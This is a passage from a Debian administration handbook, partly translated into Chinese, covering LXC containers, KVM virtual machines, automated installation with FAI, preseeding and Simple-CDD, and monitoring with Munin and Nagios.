The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth

lxc.net.0.link = lxcbr0

lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

Another useful entry in that file is the setting of the hostname:

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. Starting the Container

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

# lxc-console -n testlxc

Connected to tty 1

Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself

Debian GNU/Linux 11 testlxc tty1

testlxc login: root

Password:

Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Wed Mar  9 01:45:21 UTC 2022 on console

root@testlxc:~# ps auxwf

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root           1  0.0  0.2  18964 11464 ?        Ss   01:36   0:00 /sbin/init

root          45  0.0  0.2  31940 10396 ?        Ss   01:37   0:00 /lib/systemd/systemd-journald

root          71  0.0  0.1  99800  5724 ?        Ssl  01:37   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..]

root          97  0.0  0.1  13276  6980 ?        Ss   01:37   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

root         160  0.0  0.0   6276  3928 pts/0    Ss   01:46   0:00 /bin/login -p --

root         169  0.0  0.0   7100  3824 pts/0    S    01:51   0:00  \_ -bash

root         172  0.0  0.0   9672  3348 pts/0    R+   01:51   0:00      \_ ps auxwf

root         164  0.0  0.0   5416  2128 pts/1    Ss+  01:49   0:00 /sbin/agetty -o -p -- \u --noclear [...]

root@testlxc:~#

We are now in the container; our access to the processes is restricted to only those started from the container itself, and our access to the filesystem is similarly restricted to the dedicated subset of the full filesystem (/var/lib/lxc/testlxc/rootfs). We can exit the console with Control+a q.

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

The lxc package contains an initialization script that can automatically start one or several containers when the host boots (it relies on lxc-autostart which starts containers whose lxc.start.auto option is set to 1). Finer-grained control of the startup order is possible with lxc.start.order and lxc.group: by default, the initialization script first starts containers which are part of the onboot group and then the containers which are not part of any group. In both cases, the order within a group is defined by the lxc.start.order option.

GOING FURTHER Mass virtualization

Since LXC is a very lightweight isolation system, it can be particularly adapted to massive hosting of virtual servers. The network configuration will probably be a bit more advanced than what we described above, but the “rich” configuration using tap and veth interfaces should be enough in many cases.

It may also make sense to share part of the filesystem, such as the /usr and /lib subtrees, so as to avoid duplicating the software that may need to be common to several containers. This will usually be achieved with lxc.mount.entry entries in the containers configuration file. An interesting side-effect is that the processes will then use less physical memory, since the kernel is able to detect that the programs are shared. The marginal cost of one extra container can then be reduced to the disk space dedicated to its specific data, and a few extra processes that the kernel must schedule and manage.

We haven't described all the available options, of course; more comprehensive information can be obtained from the lxc(7) and lxc.container.conf(5) manual pages and the ones they reference.

12.2.3. KVM 虛擬化

KVM, which stands for Kernel-based Virtual Machine, is first and foremost a kernel module providing most of the infrastructure that can be used by a virtualizer, but it is not a virtualizer by itself. Actual control for the virtualization is handled by a QEMU-based application. Don't worry if this section mentions qemu-* commands: it is still about KVM.

Unlike other virtualization systems, KVM was merged into the Linux kernel right from the start. Its developers chose to take advantage of the processor instruction sets dedicated to virtualization (Intel-VT and AMD-V), which keeps KVM lightweight, elegant and not resource-hungry. The counterpart, of course, is that KVM doesn't work on any computer but only on those with appropriate processors. For x86-based computers, you can verify that you have such a processor by looking for “vmx” or “svm” in the CPU flags listed in /proc/cpuinfo.

With Red Hat actively supporting its development, KVM has more or less become the reference for Linux virtualization.

12.2.3.1. Preliminary Steps

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

The virtinst package provides virt-install, which allows creating virtual machines from the command line. Finally, virt-viewer allows accessing a VM's graphical console.

12.2.3.2. 網絡配置

Just as in Xen and LXC, the most frequent network configuration involves a bridge grouping the network interfaces of the virtual machines (see 節 12.2.2.2, “網絡配置”).

Alternatively, and in the default configuration provided by KVM, the virtual machine is assigned a private address (in the 192.168.122.0/24 range), and NAT is set up so that the VM can access the outside network.

The rest of this section assumes that the host has an eth0 physical interface and a br0 bridge, and that the former is connected to the latter.

12.2.3.3. 使用 virt-install 安裝

Creating a virtual machine is very similar to installing a normal system, except that the virtual machine's characteristics are described in a seemingly endless command line.

Practically speaking, this means we will use the Debian installer, by booting the virtual machine on a virtual DVD-ROM drive that maps to a Debian DVD image stored on the host system. The VM will export its graphical console over the VNC protocol (see 節 9.2.2, “使用遠端圖形桌面” for details), which will allow us to control the installation process.

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Pool srv-kvm created

#

TIP Add your user to the libvirt group

All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

Let us now start the installation process for the virtual machine, and have a closer look at virt-install's most important options. This command registers the virtual machine and its parameters in libvirtd, then starts it so that its installation can proceed.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--memory 2048

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso

--network bridge=virbr0

--graphics vnc

--os-type linux

--os-variant debiantesting

Starting install...

Allocating 'testkvm.qcow'

The --connect option specifies the “hypervisor” to use. Its form is that of an URL containing a virtualization system (xen://, qemu://, lxc://, openvz://, vbox://, and so on) and the machine that should host the VM (this can be left empty in the case of the local host). In addition to that, and in the QEMU/KVM case, each user can manage virtual machines working with restricted permissions, and the URL path allows differentiating “system” machines (/system) from others (/session).

Since KVM is managed the same way as QEMU, the --virt-type kvm allows specifying the use of KVM even though the URL looks like QEMU.

The --name option defines a (unique) name for the virtual machine.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

The --cdrom option is used to indicate where to find the optical disk to use for installation. The path can be either a local path for an ISO file, an URL where the file can be obtained, or the device file of a physical CD-ROM drive (i.e. /dev/cdrom).

The --network specifies how the virtual network card integrates in the host's network configuration. The default behavior (which we explicitly forced in our example) is to integrate it into any pre-existing network bridge. If no such bridge exists, the virtual machine will only reach the physical network through NAT, so it gets an address in a private subnet range (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see 節 9.2.1.4, “新增埠映射的加密通道”). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

The --os-type and --os-variant options allow optimizing a few parameters of the virtual machine, based on some of the known features of the operating system mentioned there.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

At this point, the virtual machine is running, and we need to connect to the graphical console to proceed with the installation process. If the previous operation was run from a graphical desktop environment, this connection should be automatically started. If not, or if we operate remotely, virt-viewer can be run from any graphical environment to open the graphical console (note that the root password of the remote host is asked twice because the operation requires 2 SSH connections):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm

root@server's password:

root@server's password:

圖形 12.1. Connecting to installer session using virt-viewer

When the installation process ends, the virtual machine is restarted, now ready for use.

12.2.3.4. 使用 virsh 管理機器

Now that the installation is done, let us see how to handle the available virtual machines. The first thing to try is to ask libvirtd for the list of the virtual machines it manages:

# virsh -c qemu:///system list --all

Id Name                 State

----------------------------------

8 testkvm              shut off

Let's start our test virtual machine:

# virsh -c qemu:///system start testkvm

Domain testkvm started

We can now get the connection instructions for the graphical console (the returned VNC display can be given as parameter to vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

Other available virsh subcommands include:

- reboot 重啓一個虛擬機；

- shutdown to trigger a clean shutdown;

- destroy, to stop it brutally;

- suspend to pause it;

- resume to unpause it;

- autostart to enable (or disable, with the --disable option) starting the virtual machine automatically when the host starts;

- undefine to remove all traces of the virtual machine from libvirtd.

All these subcommands take a virtual machine identifier as a parameter.

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos"

# mkdir -p "$rootdir" /etc/rpm

# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath

# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm

# rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm

rpm: RPM should not be used directly install RPM packages, use Alien instead!

rpm: However assuming you know what you are doing...

warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY

# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo

# yum4 --assumeyes --installroot $rootdir groupinstall core

[...]

# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

# chroot /srv/centos/

[root@testsystem /]#

12.3. Automated Installation

The Falcot Corp administrators, like many administrators of large IT services, need tools to install (or reinstall) quickly, and automatically if possible, their new machines.

These requirements can be met by a wide range of solutions. On the one hand, generic tools such as SystemImager handle this by creating an image based on a template machine, then deploy that image to the target systems; at the other end of the spectrum, the standard Debian installer can be preseeded with a configuration file giving the answers to the questions asked during the installation process. As a sort of middle ground, a hybrid tool such as FAI (Fully Automatic Installer) installs machines using the packaging system, but it also uses its own infrastructure for tasks that are more specific to massive deployments (such as starting, partitioning, configuration and so on).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer is probably the oldest automated deployment system for Debian, which explains its status as a reference; but its very flexible nature only just compensates for the complexity it involves.

FAI requires a server system to store deployment information and allow target machines to boot from the network. This server requires the fai-server package (or fai-quickstart, which also brings the required elements for a standard configuration).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

Creating all these configuration files requires some understanding of the way FAI works. A typical installation process is made of the following steps:

- fetching a kernel from the network, and booting it;

- mounting the root filesystem from NFS;

- executing /usr/sbin/fai, which controls the rest of the process (the next steps are therefore initiated by this script);

- copying the configuration space from the server into /fai/;

- running fai-class. The /fai/class/[0-9][0-9]* scripts are executed in turn, and return names of “classes” that apply to the machine being installed; this information will serve as a base for the following steps. This allows for some flexibility in defining the services to be installed and configured.

- fetching a number of configuration variables, depending on the relevant classes;

- partitioning the disks and formatting the partitions, based on information provided in /fai/disk_config/class;

- mounting said partitions;

- installing the base system;

- preseeding the Debconf database with fai-debconf;

- fetching the list of available packages for APT;

- installing the packages listed in /fai/package_config/class;

- executing the post-configuration scripts, /fai/scripts/class/[0-9][0-9]*;

- recording the installation logs, unmounting the partitions, and rebooting.

12.3.2. 預設值 Debian 安裝

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

進階閱讀 有中心數據庫的 Debconf

Preseeding allows to provide a set of answers to Debconf questions at installation time, but these answers are static and do not evolve as time passes. Since already-installed machines may need upgrading, and new answers may become required, the /etc/debconf.conf configuration file can be set up so that Debconf uses external data sources (such as an LDAP directory server, or a remote file accessed via NFS or Samba). Several external data sources can be defined at the same time, and they complement one another. The local database is still used (for read-write access), but the remote databases are usually restricted to reading. The debconf.conf(5) manual page describes all the possibilities in detail (you need the debconf-doc package).

12.3.2.1. 使用預設值文件

There are several places where the installer can get a preseeding file:

- in the initrd used to start the machine; in this case, preseeding happens at the very beginning of the installation, and all questions can be avoided. The file just needs to be called preseed.cfg and stored in the initrd root.

- on the boot media (CD or USB key); preseeding then happens as soon as the media is mounted, which means right after the questions about language and keyboard layout. The preseed/file boot parameter can be used to indicate the location of the preseeding file (for instance, /cdrom/preseed.cfg when the installation is done off a CD-ROM, or /hd-media/preseed.cfg in the USB-key case).

- from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

At a glance, including the preseeding file in the initrd looks like the most interesting solution; however, it is rarely used in practice, because generating an installer initrd is rather complex. The other two solutions are much more common, especially since boot parameters provide another way to preseed the answers to the first questions of the installation process. The usual way to save the bother of typing these boot parameters by hand at each installation is to save them into the configuration for isolinux (in the CD-ROM case) or syslinux (USB key).

12.3.2.2. 創建一個預設值文件

預設值配置是一個純文本文件，每一行有一個 Debconf 問題的答案。每行用空格（多個空格或 tab 鍵）分爲四個段，舉例說明如下： d-i mirror/suite string stable :

- 第一段是問題的“所有者”；“d-i”用於安裝相關的問題，這個段也可以是問題來自的 Debian 包的包名；

- the second field is an identifier for the question (the template name);

- 第三段，問題的類型；

- 第四段和該行後續內容是答案的值。注意，第四段和第三段之間，必須是單個空格分隔；如果有多個空格，從接下來的空格字符開始，會被認爲是值的一部分。

爲安裝一個系統寫一個預配置文件，最簡單的方法是手寫。debconf-get-selections --installer將提供與安裝相關的問題答案。其它包的答案可以通過debconf-get-selections獲得。然而，手寫一個預設值文件，一個乾淨的方法，是從一個例子和參考文檔開始。使用這種方案，只有那些默認答案需要被覆蓋的問題被預配置；使用 priority=critical 啓動參數將指示 Debconf 只詢問極嚴重的問題，其它問題用默認答案。

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker

d-i netcfg/hostname seen false

文檔 安裝手冊附錄

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. Creating a Customized Boot Media

Knowing where to store the preseed file is all very well, but the location isn't everything: one must, one way or another, alter the installation boot media to change the boot parameters and add the preseed file.

12.3.2.3.1. 從網絡啓動

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparing a Bootable USB Key

Once a bootable key has been prepared (see 節 4.1.2, “從 USB 隨身碟啟動”), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

範例 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' {

set background_color=black

linux    /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet

initrd   /install.amd/initrd.gz

}

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

範例 12.3. isolinux/txt.cfg file and preseeding parameters

label install

menu label ^Install

kernel [...]

append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

範例 12.4. syslinux.cfg file and preseeding parameters

default vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz  --

12.3.2.3.3. 創建一個 CD-ROM 鏡像

A USB key is a read-write media, so it was easy for us to add a file there and change a few parameters. In the CD-ROM case, the operation is more complex, since we need to regenerate a full ISO image. This task is handled by debian-cd, but this tool is rather awkward to use: it needs a local mirror, and it requires an understanding of all the options provided by /usr/share/debian-cd/CONF.sh; even then, make must be invoked several times. /usr/share/debian-cd/README is therefore a very recommended read.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD: The All-In-One Solution

Simply using a preseed file is not enough to fulfill all the requirements that may appear for large deployments. Even though it is possible to execute a few scripts at the end of the normal installation process, the selection of the set of packages to install is still not quite flexible (basically, only “tasks” can be selected); more important, this only allows installing official Debian packages, and precludes locally-generated ones.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. Creating Profiles

Simple-CDD defines “profiles” that match the FAI “classes” concept, and a machine can have several profiles (determined at installation time). A profile is defined by a set of profiles/profile.* files:

- the .description file contains a one-line description for the profile;

- the .packages file lists packages that will automatically be installed if the profile is selected;

- the .downloads file lists packages that will be stored onto the installation media, but not necessarily installed;

- the .preseed file contains preseeding information for Debconf questions (for the installer and/or for packages);

- the .postinst file contains a script that will be run at the end of the installation process;

- lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

The default profile has a particular role, since it is always selected; it contains the bare minimum required for Simple-CDD to work. The only thing that is usually customized in this profile is the simple-cdd/profiles preseed parameter: this allows avoiding the question, introduced by Simple-CDD, about what profiles to install.

Note also that the commands will need to be invoked from the parent directory of the profiles directory.

12.3.3.2. 配置和使用 build-simple-cdd

QUICK LOOK Detailed configuration file

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

Simple-CDD requires many parameters to operate fully. They will most often be gathered in a configuration file, which build-simple-cdd can be pointed at with the --conf option, but they can also be specified via dedicated parameters given to build-simple-cdd. Here is an overview of how this command behaves, and how its parameters are used:

- the profiles parameter lists the profiles that will be included on the generated CD-ROM image;

- based on the list of required packages, Simple-CDD downloads the appropriate files from the server mentioned in server, and gathers them into a partial mirror (which will later be given to debian-cd);

- the custom packages mentioned in local_packages are also integrated into this local mirror;

- debian-cd is then executed (within a default location that can be configured with the debian_cd_dir variable), with the list of packages to integrate;

- once debian-cd has prepared its directory, Simple-CDD applies some changes to this directory:

- files containing the profiles are added in a simple-cdd subdirectory (that will end up on the CD-ROM);

- other files listed in the all_extras parameter are also added;

- the boot parameters are adjusted so as to enable the preseeding. Questions concerning language and country can be avoided if the required information is stored in the language and country variables.

- debian-cd 將產生最終的 ISO 鏡像。

12.3.3.3. 生成 ISO 鏡像

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. 監控

Monitoring is a generic term, and the various involved activities have several goals: on the one hand, following usage of the resources provided by a machine allows anticipating saturation and the subsequent required upgrades; on the other hand, alerting the administrator as soon as a service is unavailable or not working properly means that the problems that do happen can be fixed sooner.

Munin covers the first area, by displaying graphical charts for historical values of a number of parameters (used RAM, occupied disk space, processor load, network traffic, Apache/MySQL load, and so on). Nagios covers the second area, by regularly checking that the services are working and available, and sending alerts through the appropriate channels (e-mails, text messages, and so on). Both have a modular design, which makes it easy to create new plug-ins to monitor specific parameters or services.

替代方案 Zabbix，集成監控工具

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

替代方案Nagios 派生出的 Icinga

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. 搭建 Munin

The purpose of Munin is to monitor many machines; therefore, it quite naturally uses a client/server architecture. The central host — the grapher — collects data from all the monitored hosts, and generates historical graphs.

12.4.1.1. 配置監控主機

The first step is to install the munin-node package. The daemon installed by this package listens on port 4949 and sends back the data collected by all the active plugins. Each plugin is a simple program returning a description of the collected data as well as the latest measured value. Plugins are stored in /usr/share/munin/plugins/, but only those with a symbolic link in /etc/munin/plugins/ are really used.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

進階閱讀 創建本地插件

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

A plugin is best tested when run in the same conditions as it would be when triggered by munin-node; this can be simulated by running munin-run plugin as root. A potential second parameter given to this command (such as config) is passed to the plugin as a parameter.

When a plugin is invoked with the config parameter, it must describe itself by returning a set of fields:

# munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

When invoked without a parameter, the plugin simply returns the last measured values; for instance, executing sudo munin-run load could return load.value 0.12.

Finally, when a plugin is invoked with the autoconf parameter, it should return “yes” (and a 0 exit status) or “no” (with a 1 exit status) according to whether the plugin should be enabled on this host.

12.4.1.2. 配置 Grapher

The “grapher” is simply the computer that aggregates the data and generates the corresponding graphs. The required software is in the munin package. The standard configuration runs munin-cron (once every 5 minutes), which gathers data from all the hosts listed in /etc/munin/munin.conf (only the local host is listed by default), saves the historical data in RRD files (Round Robin Database, a file format designed to store data varying in time) stored under /var/lib/munin/ and generates an HTML page with the graphs in /var/cache/munin/www/.

All monitored machines must therefore be listed in the /etc/munin/munin.conf configuration file. Each machine is listed as a full section with a name matching the machine and at least an address entry giving the corresponding IP address.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Sections can be more complex, and describe extra graphs that could be created by combining data coming from several machines. The samples provided in the configuration file are good starting points for customization.

The last step is to publish the generated pages; this involves configuring a web server so that the contents of /var/cache/munin/www/ are made available on a website. Access to this website will often be restricted, using either an authentication mechanism or IP-based access control. See 節 11.2, “Web Server (HTTP)” for the relevant details.

12.4.2. 搭建 Nagios

Unlike Munin, Nagios does not necessarily require installing anything on the monitored hosts; most of the time, Nagios is used to check the availability of network services. For instance, Nagios can connect to a web server and check that a given web page can be obtained within a given time.

12.4.2.1. 安裝

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile

Considering dependency authz_core for authz_groupfile:

Module authz_core already enabled

Module authz_core already enabled

Enabling module authz_groupfile.

To activate the new configuration, you need to run:

systemctl restart apache2

# a2enmod auth_digest

Considering dependency authn_core for auth_digest:

Module authn_core already enabled

Enabling module auth_digest.

To activate the new configuration, you need to run:

systemctl restart apache2

# systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

